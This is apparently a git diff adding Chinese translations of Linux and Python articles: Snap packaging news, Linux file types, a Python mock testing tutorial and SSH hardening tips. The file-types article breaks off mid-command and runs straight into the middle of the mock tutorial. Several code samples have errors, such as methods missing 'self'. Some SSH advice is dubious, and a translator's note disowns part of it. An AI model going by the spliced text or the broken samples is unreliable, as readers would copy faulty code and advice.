+这些发行版正在使用 Snaps,Shuttleworth 声称:“Snaps 为每个 Linux 台式机、服务器、设备和云机器带来了很多应用程序,在让用户使用最好的应用的同时也给了用户选择发行版的自由。” + +这些发行版共同代表了 Linux 桌面、服务器和云系统发行版的主流。为什么它们从现有的软件包管理系统换了过来呢? Arch Linux 的贡献者 Tim Jester-Pfadt 解释说,“Snaps 最棒的一点是它支持先锐和测试通道,这可以让用户选择使用预发布的开发者版本或跟着最新的稳定版本。” + +除过这些 Linux 分支,独立软件开发商也将会因为 Snap 很好的简化了第三方 Linux 应用程序分发和安全维护问题而拥抱 Snap。例如,[文档基金会][14]也将会让流行的开源办公套件 [LibreOffice][15] 支持 Snap 程序包。 + +文档基金会的联合创始人 Thorsten Behrens 这样说: + +> 我们的目标是尽可能的使 LibreOffice 能被大多数人更容易使用。Snap 使我们的用户能够在不同的桌面系统和发行版上更快捷、更容易、持续地获取最新的 LibreOffice 版本。更好的是,它也会帮助我们的发布工程师最终从周而复始的、自产的、陈旧的 Linux 开发解决方案中解放出来,很多东西都可以一同维护了。 + +Mozilla 的 Firefix 副总裁 Nick Nguyen 在该声明中提到: + +> 我们力求为用户提供良好的使用体验,并且使火狐浏览器能够在更多平台、设备和操作系统上运行。随着引入 Snaps ,对火狐浏览器的持续优化成为可能,使它可以为 Linux 用户提供最新的特性。 + +[Krita 基金会][17] (基于 KDE 的图形程序)项目领导 Boudewijn Rempt 说: + +> 在一个私有仓库中维护 DEB 包是复杂而耗时的。Snaps 更容易维护、打包和分发。把 Snap 放进软件商店也特别容易,这是我发布软件用过的最舒服的软件商店了。[Krita 3.0][18] 刚刚作为一个 snap 程序包发行,新版本出现时它会自动更新。 + +不仅 Linux 桌面系统程序为 Snap 而激动。物联网(IoT)和嵌入式开发者也以双手拥抱了 Snap。 + +由于 Snaps 彼此隔离,带来了数据安全性,它们还可以自动更新或回滚,这对于硬件设备是极好的。多个厂商都发布了运行着 snappy 的设备(LCTT 译注:Snap 基于 snappy进行构建),这带来了一种新的带有物联网应用商店的“智能新锐”设备。Snappy 设备能够自动接收系统更新,并且连同安装在设备上的应用程序也会得到更新。 + +据 Shuttleworth 说,戴尔公司是最早一批认识到 Snap 的巨大潜力的物联网供应商之一,也决定在他们的设备上使用 Snap 了。 + +戴尔公司的物联网战略和合作伙伴主管 Jason Shepherd 说:“我们认为,Snaps 能解决在单一物联网网关上部署和运行多个第三方应用程序所带来的安全风险和可管理性挑战。这种可信赖的通用的应用程序格式才是戴尔真正需要的,我们的物联网解决方案合作伙伴和商业客户都对构建一个可扩展的、IT 级的、充满活力的物联网应用生态系统有极大的兴趣。” + +OpenWrt 的开发者 Matteo Croce 说:“这很简单, Snaps 可以在保持核心系统不变的情况下递送新的应用... Snaps 是为 OpenWrt AP 和路由器提供大量软件的最快方式。” + +Shuttleworth 并不认为 Snaps 会取代已经存在的 Linux 程序包比如 [RPM][19] 和 [DEB][20]。相反,他认为它们将会相辅相成。Snaps 将会与现有软件包共存。每个发行版都有其自己提供和更新核心系统及其更新的机制。Snap 为桌面系统带来的是通用的应用程序,这些应用程序不会影响到操作系统的基础。 + +每个 Snap 都通过使用大量的内核隔离和安全机制而限制,以满足 Snap 应用的需求。谨慎的审核过程可以确保 Snap 仅仅得到其完成请求操作的权限。用户在安装 Snap 的时候也不必考虑复杂的安全问题。 + +Snap 本质上是一个自包容的 zip 文件,能够快速地在包内执行。流行的[优麒麟][21]团队的负责人 Jack Yu 称:“Snaps 比传统的 Linux 包更容易构建,允许我们独立于操作系统解决依赖性,所以我们很容易地跨发行版为所有用户提供最好、最新的中国 Linux 应用。” + +由 Canonical 设计的 Snap 程序包格式由 [snapd][22] 所处理。它的开发工作放在 GitHub 上。将其移植到更多的 Linux 发行版已经被证明是很简单的,社区还在不断增长,吸引了大量具有 Linux 经验的贡献者。 + +Snap 程序包使用 snapcraft 工具来构建。项目官网是 [snapcraft.io][24],其上有构建 Snap 的指导和逐步指南,以及给项目开发者和使用者的文档。Snap 能够基于现有的发行版程序包构建,但通常使用源代码来构建,以获得优化和减小软件包大小。 + +如果你不是 Ubuntu 的忠实粉丝或者一个专业的 Linux 开发者,你可能还不知道 Snap。未来,在任何平台上需要用 Linux 完成工作的任何人都会知道这个软件。它会成为主流,尤其是在 Linux 应用程序的安装和更新机制方面。 + +### 相关内容: + +- [Linux 专家 Matthew Garrett:Ubuntu 16.04 的新 Snap 程序包格式存在安全风险 ][25] +- [Ubuntu Linux 16.04 ] +- [Microsoft 和 Canonical 合作使 Ubuntu 可以在 Windows 10 上运行 ] + +-------------------------------------------------------------------------------- + +via: http://www.zdnet.com/article/ubuntu-snap-takes-charge-of-linux-desktop-and-iot-software-distribution/ + +作者:[Steven J. Vaughan-Nichols][a] +译者:[vim-kakali](https://github.com/vim-kakali) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.zdnet.com/meet-the-team/us/steven-j-vaughan-nichols/ +[28]: http://www.canonical.com/ +[29]: http://www.ubuntu.com/ +[30]: https://insights.ubuntu.com/2016/04/13/snaps-for-classic-ubuntu/ +[1]: https://insights.ubuntu.com/2016/04/13/snaps-for-classic-ubuntu/ +[2]: http://www.zdnet.com/article/linux-expert-matthew-garrett-ubuntu-16-04s-new-snap-format-is-a-security-risk/ +[3]: https://www.openssl.org/ +[4]: http://www.dell.com/en-us/ +[5]: http://www.samsung.com/us/ +[6]: http://www.mozilla.com/ +[7]: https://krita.org/en/ +[8]: https://mycroft.ai/ +[9]: http://www.horizon-computing.com/ +[10]: https://www.archlinux.org/ +[11]: https://www.debian.org/ +[12]: https://www.gentoo.org/ +[13]: https://openwrt.org/ +[14]: https://www.documentfoundation.org/ +[15]: https://www.libreoffice.org/download/libreoffice-fresh/ +[16]: https://www.mozilla.org/en-US/firefox/new/ +[17]: https://krita.org/en/about/krita-foundation/ +[18]: https://krita.org/en/item/krita-3-0-released/ +[19]: http://rpm5.org/ +[20]: https://www.debian.org/doc/manuals/debian-faq/ch-pkg_basics.en.html +[21]: http://www.ubuntu.com/desktop/ubuntu-kylin +[22]: https://launchpad.net/ubuntu/+source/snapd +[23]: https://github.com/snapcore/snapd +[24]: http://snapcraft.io/ +[25]: http://www.zdnet.com/article/linux-expert-matthew-garrett-ubuntu-16-04s-new-snap-format-is-a-security-risk/ +[26]: http://www.zdnet.com/article/ubuntu-linux-16-04-is-here/ +[27]: http://www.zdnet.com/article/microsoft-and-canonical-partner-to-bring-ubuntu-to-windows-10/ + + diff --git "a/published/201608/20160615 Explanation of \342\200\234Everything is a File\342\200\235 and Types of Files in Linux.md" "b/published/201608/20160615 Explanation of \342\200\234Everything is a File\342\200\235 and Types of Files in Linux.md" new file mode 100755 index 0000000000..62379377cd --- /dev/null +++ "b/published/201608/20160615 Explanation of \342\200\234Everything is a File\342\200\235 and Types of Files in Linux.md" @@ -0,0 +1,275 @@ +诠释 Linux 中“一切都是文件”概念和相应的文件类型 +==================================================================== + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Everything-is-a-File-in-Linux.png) + +*Linux 系统中一切都是文件并有相应的文件类型* + +在 Unix 和它衍生的比如 Linux 系统中,一切都可以看做文件。虽然它仅仅只是一个泛泛的概念,但这是事实。如果有不是文件的,那它一定是正运行的进程。 + +要理解这点,可以举个例子,您的根目录(/)的空间充斥着不同类型的 Linux 文件。当您创建一个文件或向系统传输一个文件时,它会在物理磁盘上占据的一些空间,而且是一个特定的格式(文件类型)。 + +虽然 Linux 系统中文件和目录没有什么不同,但目录还有一个重要的功能,那就是有结构性的分组存储其它文件,以方便查找访问。所有的硬件组件都表示为文件,系统使用这些文件来与硬件通信。 + +这些思想是对 Linux 中的各种事物的重要阐述,因此像文档、目录(Mac OS X 和 Windows 系统下称之为文件夹)、键盘、监视器、硬盘、可移动媒体设备、打印机、调制解调器、虚拟终端,还有进程间通信(IPC)和网络通信等输入/输出资源都是定义在文件系统空间下的字节流。 + +一切都可看作是文件,其最显著的好处是对于上面所列出的输入/输出资源,只需要相同的一套 Linux 工具、实用程序和 API。 + +虽然在 Linux 中一切都可看作是文件,但也有一些特殊的文件,比如[套接字和命令管道][1]。 + +### Linux 文件类型的不同之处? + +Linux 系统中有三种基本的文件类型: + +- 普通/常规文件 +- 特殊文件 +- 目录文件 + +#### 普通/常规文件 + +它们是包含文本、数据、程序指令等数据的文件,其在 Linux 系统中是最常见的一种。包括如下: + +- 可读文件 +- 二进制文件 +- 图像文件 +- 压缩文件等等 + +#### 特殊文件 + +特殊文件包括以下几种: + +块文件(block):设备文件,对访问系统硬件部件提供了缓存接口。它们提供了一种通过文件系统与设备驱动通信的方法。 + +有关于块文件一个重要的性能就是它们能在指定时间内传输大块的数据和信息。 + +列出某目录下的块文件: + +``` +# ls -l /dev | grep "^b" +``` + +输出例子 + +``` +brw-rw---- 1 root disk 7, 0 May 18 10:26 loop0 +brw-rw---- 1 root disk 7, 1 May 18 10:26 loop1 +brw-rw---- 1 root disk 7, 2 May 18 10:26 loop2 +brw-rw---- 1 root disk 7, 3 May 18 10:26 loop3 +brw-rw---- 1 root disk 7, 4 May 18 10:26 loop4 +brw-rw---- 1 root disk 7, 5 May 18 10:26 loop5 +brw-rw---- 1 root disk 7, 6 May 18 10:26 loop6 +brw-rw---- 1 root disk 7, 7 May 18 10:26 loop7 +brw-rw---- 1 root disk 1, 0 May 18 10:26 ram0 +brw-rw---- 1 root disk 1, 1 May 18 10:26 ram1 +brw-rw---- 1 root disk 1, 10 May 18 10:26 ram10 +brw-rw---- 1 root disk 1, 11 May 18 10:26 ram11 +brw-rw---- 1 root disk 1, 12 May 18 10:26 ram12 +brw-rw---- 1 root disk 1, 13 May 18 10:26 ram13 +brw-rw---- 1 root disk 1, 14 May 18 10:26 ram14 +brw-rw---- 1 root disk 1, 15 May 18 10:26 ram15 +brw-rw---- 1 root disk 1, 2 May 18 10:26 ram2 +brw-rw---- 1 root disk 1, 3 May 18 10:26 ram3 +brw-rw---- 1 root disk 1, 4 May 18 10:26 ram4 +brw-rw---- 1 root disk 1, 5 May 18 10:26 ram5 +... +``` + +字符文件(Character): 也是设备文件,对访问系统硬件组件提供了非缓冲串行接口。它们与设备的通信工作方式是一次只传输一个字符的数据。 + +列出某目录下的字符文件: + +``` +# ls -l /dev | grep "^c" +``` + +输出例子 + +``` +crw------- 1 root root 10, 235 May 18 15:54 autofs +crw------- 1 root root 10, 234 May 18 15:54 btrfs-control +crw------- 1 root root 5, 1 May 18 10:26 console +crw------- 1 root root 10, 60 May 18 10:26 cpu_dma_latency +crw------- 1 root root 10, 203 May 18 15:54 cuse +crw------- 1 root root 10, 61 May 18 10:26 ecryptfs +crw-rw---- 1 root video 29, 0 May 18 10:26 fb0 +crw-rw-rw- 1 root root 1, 7 May 18 10:26 full +crw-rw-rw- 1 root root 10, 229 May 18 10:26 fuse +crw------- 1 root root 251, 0 May 18 10:27 hidraw0 +crw------- 1 root root 10, 228 May 18 10:26 hpet +crw-r--r-- 1 root root 1, 11 May 18 10:26 kmsg +crw-rw----+ 1 root root 10, 232 May 18 10:26 kvm +crw------- 1 root root 10, 237 May 18 10:26 loop-control +crw------- 1 root root 10, 227 May 18 10:26 mcelog +crw------- 1 root root 249, 0 May 18 10:27 media0 +crw------- 1 root root 250, 0 May 18 10:26 mei0 +crw-r----- 1 root kmem 1, 1 May 18 10:26 mem +crw------- 1 root root 10, 57 May 18 10:26 memory_bandwidth +crw------- 1 root root 10, 59 May 18 10:26 network_latency +crw------- 1 root root 10, 58 May 18 10:26 network_throughput +crw-rw-rw- 1 root root 1, 3 May 18 10:26 null +crw-r----- 1 root kmem 1, 4 May 18 10:26 port +crw------- 1 root root 108, 0 May 18 10:26 ppp +crw------- 1 root root 10, 1 May 18 10:26 psaux +crw-rw-rw- 1 root tty 5, 2 May 18 17:40 ptmx +crw-rw-rw- 1 root root 1, 8 May 18 10:26 random +``` + +符号链接文件(Symbolic link) : 符号链接是指向系统上其他文件的引用。因此,符号链接文件是指向其它文件的文件,那些文件可以是目录或常规文件。 + +列出某目录下的符号链接文件: + +``` +# ls -l /dev/ | grep "^l" +``` + +输出例子 + +``` +lrwxrwxrwx 1 root root 3 May 18 10:26 cdrom -> sr0 +lrwxrwxrwx 1 root root 11 May 18 15:54 core -> /proc/kcore +lrwxrwxrwx 1 root root 13 May 18 15:54 fd -> /proc/self/fd +lrwxrwxrwx 1 root root 4 May 18 10:26 rtc -> rtc0 +lrwxrwxrwx 1 root root 8 May 18 10:26 shm -> /run/shm +lrwxrwxrwx 1 root root 15 May 18 15:54 stderr -> /proc/self/fd/2 +lrwxrwxrwx 1 root root 15 May 18 15:54 stdin -> /proc/self/fd/0 +lrwxrwxrwx 1 root root 15 May 18 15:54 stdout -> /proc/self/fd/1 +``` + +Linux 中使用 `ln` 工具就可以创建一个符号链接文件,如下所示: + +``` +# touch file1.txt +# ln -s file1.txt /home/tecmint/file1.txt [创建符号链接文件] +# ls -l /home/tecmint/ | grep "^l" [列出符号链接文件] +``` + +在上面的例子中,首先我们在 `/tmp` 目录创建了一个名叫 `file1.txt` 的文件,然后创建符号链接文件,将 `/home/tecmint/file1.txt` 指向 `/tmp/file1.txt` 文件。 + +管道(Pipes)和命令管道(Named pipes) : 将一个进程的输出连接到另一个进程的输入,从而允许进程间通信(IPC)的文件。 + +命名管道实际上是一个文件,用来使两个进程彼此通信,就像一个 Linux 管道一样。 + +列出某目录下的管道文件: + +``` +# ls -l | grep "^p" +``` + +输出例子: + +``` +prw-rw-r-- 1 tecmint tecmint 0 May 18 17:47 pipe1 +prw-rw-r-- 1 tecmint tecmint 0 May 18 17:47 pipe2 +prw-rw-r-- 1 tecmint tecmint 0 May 18 17:47 pipe3 +prw-rw-r-- 1 tecmint tecmint 0 May 18 17:47 pipe4 +prw-rw-r-- 1 tecmint tecmint 0 May 18 17:47 pipe5 +``` + +在 Linux 中可以使用 `mkfifo` 工具来创建一个命名管道,如下所示: + +``` +# mkfifo pipe1 +# echo "This is named pipe1" > pipe1 +``` + +在上的例子中,我们创建了一个名叫 `pipe1` 的命名管道,然后使用 [echo 命令][2] 加入一些数据,这之后在处理输入的数据时 shell 就变成非交互式的了(LCTT 译注:被管道占住了)。 + +然后,我们打开另外一个 shell 终端,运行另外的命令来打印出刚加入管道的数据。 + +``` +# while read line ;do echo "This was passed-'$line' "; done 模拟一个东西要看它用在何处,而不是来自哪里。 + +如果你需要为 `myproject.app.MyElaborateClass` 模拟 `tempfile` 模块,你可能需要将 mock 用于 `myproject.app.tempfile`,而其他模块保持自己的导入。 + +先将那个陷阱放一边,让我们继续模拟。 + +#### 向 ‘rm’ 中加入验证 + +之前定义的 rm 方法相当的简单。在盲目地删除之前,我们倾向于验证一个路径是否存在,并验证其是否是一个文件。让我们重构 rm 使其变得更加智能: + +``` +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +import os +import os.path + +def rm(filename): + if os.path.isfile(filename): + os.remove(filename) +``` + +很好。现在,让我们调整测试用例来保持测试的覆盖率。 + +``` +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from mymodule import rm + +import mock +import unittest + +class RmTestCase(unittest.TestCase): + + @mock.patch('mymodule.os.path') + @mock.patch('mymodule.os') + def test_rm(self, mock_os, mock_path): + # set up the mock + mock_path.isfile.return_value = False + + rm("any path") + + # test that the remove call was NOT called. + self.assertFalse(mock_os.remove.called, "Failed to not remove the file if not present.") + + # make the file 'exist' + mock_path.isfile.return_value = True + + rm("any path") + + mock_os.remove.assert_called_with("any path") +``` + +我们的测试用例完全改变了。现在我们可以在没有任何副作用的情况下核实并验证方法的内部功能。 + +#### 将文件删除作为服务 + +到目前为止,我们只是将 mock 应用在函数上,并没应用在需要传递参数的对象和实例的方法上。我们现在开始涵盖对象的方法。 + +首先,我们将 `rm` 方法重构成一个服务类。实际上将这样一个简单的函数转换成一个对象,在本质上这不是一个合理的需求,但它能够帮助我们了解 `mock` 的关键概念。让我们开始重构: + +``` +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +import os +import os.path + +class RemovalService(object): + """A service for removing objects from the filesystem.""" + + def rm(filename): + if os.path.isfile(filename): + os.remove(filename) +``` + +你会注意到我们的测试用例没有太大变化: + +``` +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from mymodule import RemovalService + +import mock +import unittest + +class RemovalServiceTestCase(unittest.TestCase): + + @mock.patch('mymodule.os.path') + @mock.patch('mymodule.os') + def test_rm(self, mock_os, mock_path): + # instantiate our service + reference = RemovalService() + + # set up the mock + mock_path.isfile.return_value = False + + reference.rm("any path") + + # test that the remove call was NOT called. + self.assertFalse(mock_os.remove.called, "Failed to not remove the file if not present.") + + # make the file 'exist' + mock_path.isfile.return_value = True + + reference.rm("any path") + + mock_os.remove.assert_called_with("any path") +``` + +很好,我们知道 `RemovalService` 会如预期般的工作。接下来让我们创建另一个服务,将 `RemovalService` 声明为它的一个依赖: + +``` +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +import os +import os.path + +class RemovalService(object): + """A service for removing objects from the filesystem.""" + + def rm(self, filename): + if os.path.isfile(filename): + os.remove(filename) + + +class UploadService(object): + + def __init__(self, removal_service): + self.removal_service = removal_service + + def upload_complete(self, filename): + self.removal_service.rm(filename) +``` + +因为我们的测试覆盖了 `RemovalService`,因此我们不会对我们测试用例中 `UploadService` 的内部函数 `rm` 进行验证。相反,我们将调用 `UploadService` 的 `RemovalService.rm` 方法来进行简单测试(当然没有其他副作用),我们通过之前的测试用例便能知道它可以正确地工作。 + +这里有两种方法来实现测试: + +1. 模拟 RemovalService.rm 方法本身。 +2. 在 UploadService 的构造函数中提供一个模拟实例。 + +因为这两种方法都是单元测试中非常重要的方法,所以我们将同时对这两种方法进行回顾。 + +##### 方法 1:模拟实例的方法 + +`mock` 库有一个特殊的方法装饰器,可以模拟对象实例的方法和属性,即 `@mock.patch.object decorator` 装饰器: + +``` +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from mymodule import RemovalService, UploadService + +import mock +import unittest + +class RemovalServiceTestCase(unittest.TestCase): + + @mock.patch('mymodule.os.path') + @mock.patch('mymodule.os') + def test_rm(self, mock_os, mock_path): + # instantiate our service + reference = RemovalService() + + # set up the mock + mock_path.isfile.return_value = False + + reference.rm("any path") + + # test that the remove call was NOT called. + self.assertFalse(mock_os.remove.called, "Failed to not remove the file if not present.") + + # make the file 'exist' + mock_path.isfile.return_value = True + + reference.rm("any path") + + mock_os.remove.assert_called_with("any path") + + +class UploadServiceTestCase(unittest.TestCase): + + @mock.patch.object(RemovalService, 'rm') + def test_upload_complete(self, mock_rm): + # build our dependencies + removal_service = RemovalService() + reference = UploadService(removal_service) + + # call upload_complete, which should, in turn, call `rm`: + reference.upload_complete("my uploaded file") + + # check that it called the rm method of any RemovalService + mock_rm.assert_called_with("my uploaded file") + + # check that it called the rm method of _our_ removal_service + removal_service.rm.assert_called_with("my uploaded file") +``` + +非常棒!我们验证了 `UploadService` 成功调用了我们实例的 `rm` 方法。你是否注意到一些有趣的地方?这种修补机制(patching mechanism)实际上替换了我们测试用例中的所有 `RemovalService` 实例的 `rm` 方法。这意味着我们可以检查实例本身。如果你想要了解更多,可以试着在你模拟的代码下断点,以对这种修补机制的原理获得更好的认识。 + +##### 陷阱:装饰顺序 + +当我们在测试方法中使用多个装饰器,其顺序是很重要的,并且很容易混乱。基本上,当装饰器被映射到方法参数时,[装饰器的工作顺序是反向的][3]。思考这个例子: + + +``` + @mock.patch('mymodule.sys') + @mock.patch('mymodule.os') + @mock.patch('mymodule.os.path') + def test_something(self, mock_os_path, mock_os, mock_sys): + pass +``` + +注意到我们的参数和装饰器的顺序是反向匹配了吗?这部分是由 [Python 的工作方式][4]所导致的。这里是使用多个装饰器的情况下它们执行顺序的伪代码: + +``` +patch_sys(patch_os(patch_os_path(test_something))) +``` + +因为 `sys` 补丁位于最外层,所以它最晚执行,使得它成为实际测试方法参数的最后一个参数。请特别注意这一点,并且在运行你的测试用例时,使用调试器来保证正确的参数以正确的顺序注入。 + +##### 方法 2:创建 Mock 实例 + +我们可以使用构造函数为 `UploadService` 提供一个 Mock 实例,而不是模拟特定的实例方法。我更推荐方法 1,因为它更加精确,但在多数情况,方法 2 或许更加有效和必要。让我们再次重构测试用例: + +``` +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from mymodule import RemovalService, UploadService + +import mock +import unittest + +class RemovalServiceTestCase(unittest.TestCase): + + @mock.patch('mymodule.os.path') + @mock.patch('mymodule.os') + def test_rm(self, mock_os, mock_path): + # instantiate our service + reference = RemovalService() + + # set up the mock + mock_path.isfile.return_value = False + + reference.rm("any path") + + # test that the remove call was NOT called. + self.assertFalse(mock_os.remove.called, "Failed to not remove the file if not present.") + + # make the file 'exist' + mock_path.isfile.return_value = True + + reference.rm("any path") + + mock_os.remove.assert_called_with("any path") + + +class UploadServiceTestCase(unittest.TestCase): + + def test_upload_complete(self, mock_rm): + # build our dependencies + mock_removal_service = mock.create_autospec(RemovalService) + reference = UploadService(mock_removal_service) + + # call upload_complete, which should, in turn, call `rm`: + reference.upload_complete("my uploaded file") + + # test that it called the rm method + mock_removal_service.rm.assert_called_with("my uploaded file") +``` + +在这个例子中,我们甚至不需要修补任何功能,只需为 `RemovalService` 类创建一个 auto-spec,然后将实例注入到我们的 `UploadService` 以验证功能。 + +`mock.create_autospec` 方法为类提供了一个同等功能实例。实际上来说,这意味着在使用返回的实例进行交互的时候,如果使用了非法的方式将会引发异常。更具体地说,如果一个方法被调用时的参数数目不正确,将引发一个异常。这对于重构来说是非常重要。当一个库发生变化的时候,中断测试正是所期望的。如果不使用 auto-spec,尽管底层的实现已经被破坏,我们的测试仍然会通过。 + +##### 陷阱:mock.Mock 和 mock.MagicMock 类 + +`mock` 库包含了两个重要的类 [mock.Mock](http://www.voidspace.org.uk/python/mock/mock.html) 和 [mock.MagicMock](http://www.voidspace.org.uk/python/mock/magicmock.html#magic-mock),大多数内部函数都是建立在这两个类之上的。当在选择使用 `mock.Mock` 实例、`mock.MagicMock` 实例还是 auto-spec 的时候,通常倾向于选择使用 auto-spec,因为对于未来的变化,它更能保持测试的健全。这是因为 `mock.Mock` 和 `mock.MagicMock` 会无视底层的 API,接受所有的方法调用和属性赋值。比如下面这个用例: + +``` +class Target(object): + def apply(value): + return value + +def method(target, value): + return target.apply(value) +``` + +我们可以像下面这样使用 mock.Mock 实例进行测试: + +``` +class MethodTestCase(unittest.TestCase): + + def test_method(self): + target = mock.Mock() + + method(target, "value") + + target.apply.assert_called_with("value") +``` + +这个逻辑看似合理,但如果我们修改 `Target.apply` 方法接受更多参数: + +``` +class Target(object): + def apply(value, are_you_sure): + if are_you_sure: + return value + else: + return None +``` + +重新运行你的测试,你会发现它仍能通过。这是因为它不是针对你的 API 创建的。这就是为什么你总是应该使用 `create_autospec` 方法,并且在使用 `@patch`和 `@patch.object` 装饰方法时使用 `autospec` 参数。 + +### 现实例子:模拟 Facebook API 调用 + +作为这篇文章的结束,我们写一个更加适用的现实例子,一个在介绍中提及的功能:发布消息到 Facebook。我将写一个不错的包装类及其对应的测试用例。 + +``` +import facebook + +class SimpleFacebook(object): + + def __init__(self, oauth_token): + self.graph = facebook.GraphAPI(oauth_token) + + def post_message(self, message): + """Posts a message to the Facebook wall.""" + self.graph.put_object("me", "feed", message=message) +``` + +这是我们的测试用例,它可以检查我们发布的消息,而不是真正地发布消息: + +``` +import facebook +import simple_facebook +import mock +import unittest + +class SimpleFacebookTestCase(unittest.TestCase): + + @mock.patch.object(facebook.GraphAPI, 'put_object', autospec=True) + def test_post_message(self, mock_put_object): + sf = simple_facebook.SimpleFacebook("fake oauth token") + sf.post_message("Hello World!") + + # verify + mock_put_object.assert_called_with(message="Hello World!") +``` + +正如我们所看到的,在 Python 中,通过 mock,我们可以非常容易地动手写一个更加智能的测试用例。 + +### Python Mock 总结 + +即使对它的使用还有点不太熟悉,对[单元测试][7]来说,Python 的 `mock` 库可以说是一个规则改变者。我们已经演示了常见的用例来了解了 `mock` 在单元测试中的使用,希望这篇文章能够帮助 [Python 开发者][8]克服初期的障碍,写出优秀、经受过考验的代码。 + +-------------------------------------------------------------------------------- + +via: https://www.toptal.com/python/an-introduction-to-mocking-in-python + +作者:[NAFTULI TZVI KAY][a] +译者:[cposture](https://github.com/cposture) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.slviki.com/ +[1]: http://www.python.org/dev/peps/pep-0417/ +[2]: https://pypi.python.org/pypi/mock +[3]: http://www.voidspace.org.uk/python/mock/patch.html#nesting-patch-decorators +[4]: http://docs.python.org/2/reference/compound_stmts.html#function-definitions +[5]: http://www.voidspace.org.uk/python/mock/helpers.html#autospeccing +[6]: http://www.voidspace.org.uk/python/mock/mock.html +[7]: http://www.toptal.com/qa/how-to-write-testable-code-and-why-it-matters +[8]: http://www.toptal.com/python diff --git a/published/201608/20160620 5 SSH Hardening Tips.md b/published/201608/20160620 5 SSH Hardening Tips.md new file mode 100644 index 0000000000..22f6edae6e --- /dev/null +++ b/published/201608/20160620 5 SSH Hardening Tips.md @@ -0,0 +1,119 @@ +五条强化 SSH 安全的建议 +====================== + +![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/binary-1188510_1920_0.jpg?itok=ocPCL_9G) + +*采用这些简单的建议,使你的 OpenSSH 会话更加安全。* + +当你查看你的 SSH 服务日志,可能你会发现充斥着一些不怀好意的尝试性登录。这里有 5 条常规建议(和一些个别特殊策略)可以让你的 OpenSSH 会话更加安全。 + +### 1. 强化密码登录 + +密码登录很方便,因为你可以从任何地方的任何机器上登录。但是它们在暴力攻击面前也是脆弱的。尝试以下策略来强化你的密码登录。 + +- 使用一个密码生成工具,例如 pwgen。pwgen 有几个选项,最有用的就是密码长度的选项(例如,`pwgen 12` 产生一个12位字符的密码) +- 不要重复使用密码。忽略所有那些不要写下你的密码的建议,然后将你的所有登录信息都记在一个本子上。如果你不相信我的建议,那总可以相信安全权威 [Bruce Schneier][1] 吧。如果你足够细心,没有人能够发现你的笔记本,那么这样能够不受到网络上的那些攻击。 +- 你可以为你的登录记事本增加一些额外的保护措施,例如用字符替换或者增加新的字符来掩盖笔记本上的登录密码。使用一个简单而且好记的规则,比如说给你的密码增加两个额外的随机字符,或者使用单个简单的字符替换,例如 `#` 替换成 `*`。 +- 为你的 SSH 服务开启一个非默认的监听端口。是的,这是很老套的建议,但是它确实很有效。检查你的登录;很有可能 22 端口是被普遍攻击的端口,其他端口则很少被攻击。 +- 使用 [Fail2ban][2] 来动态保护你的服务器,是服务器免于被暴力攻击。 +- 使用不常用的用户名。绝不能让 root 可以远程登录,并避免用户名为“admin”。 + +### 2. 解决 `Too Many Authentication Failures` 报错 + +当我的 ssh 登录失败,并显示“Too many authentication failures for carla”的报错信息时,我很难过。我知道我应该不介意,但是这报错确实很碍眼。而且,正如我聪慧的奶奶曾经说过,伤痛之感并不能解决问题。解决办法就是在你的(客户端的) `~/.ssh/config` 文件设置强制密码登录。如果这个文件不存在,首先创个 `~/.ssh/` 目录。 + +``` +$ mkdir ~/.ssh +$ chmod 700 ~/.ssh +``` +然后在一个文本编辑器创建 `~/.ssh/confg` 文件,输入以下行,使用你自己的远程域名替换 HostName。 + +``` +HostName remote.site.com +PubkeyAuthentication=no +``` + +(LCTT 译注:这种错误发生在你使用一台 Linux 机器使用 ssh 登录另外一台服务器时,你的 .ssh 目录中存储了过多的私钥文件,而 ssh 客户端在你没有指定 -i 选项时,会默认逐一尝试使用这些私钥来登录远程服务器后才会提示密码登录,如果这些私钥并不能匹配远程主机,显然会触发这样的报错,甚至拒绝连接。因此本条是通过禁用本地私钥的方式来强制使用密码登录——显然这并不可取,如果你确实要避免用私钥登录,那你应该用 `-o PubkeyAuthentication=no` 选项登录。显然这条和下两条是互相矛盾的,所以请无视本条即可。) + +### 3. 使用公钥认证 + +公钥认证比密码登录安全多了,因为它不受暴力密码攻击的影响,但是并不方便因为它依赖于 RSA 密钥对。首先,你要创建一个公钥/私钥对。下一步,私钥放于你的客户端电脑,并且复制公钥到你想登录的远程服务器。你只能从拥有私钥的电脑登录才能登录到远程服务器。你的私钥就和你的家门钥匙一样敏感;任何人获取到了私钥就可以获取你的账号。你可以给你的私钥加上密码来增加一些强化保护规则。 + +使用 RSA 密钥对管理多个用户是一种好的方法。当一个用户离开了,只要从服务器删了他的公钥就能取消他的登录。 + +以下例子创建一个新的 3072 位长度的密钥对,它比默认的 2048 位更安全,而且为它起一个独一无二的名字,这样你就可以知道它属于哪个服务器。 + +``` +$ ssh-keygen -t rsa -b 3072 -f id_mailserver +``` + +以下创建两个新的密钥, `id_mailserver` 和 `id_mailserver.pub`,`id_mailserver` 是你的私钥--不要传播它!现在用 `ssh-copy-id` 命令安全地复制你的公钥到你的远程服务器。你必须确保在远程服务器上有可用的 SSH 登录方式。 + +``` +$ ssh-copy-id -i id_rsa.pub user@remoteserver + +/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed +user@remoteserver's password: + +Number of key(s) added: 1 + +Now try logging into the machine, with: "ssh 'user@remoteserver'" +and check to make sure that only the key(s) you wanted were added. +``` + +`ssh-copy-id` 会确保你不会无意间复制了你的私钥。从上述输出中复制登录命令,记得带上其中的单引号,以测试你的新的密钥登录。 + +``` +$ ssh 'user@remoteserver' +``` + +它将用你的新密钥登录,如果你为你的私钥设置了密码,它会提示你输入。 + +### 4. 取消密码登录 + 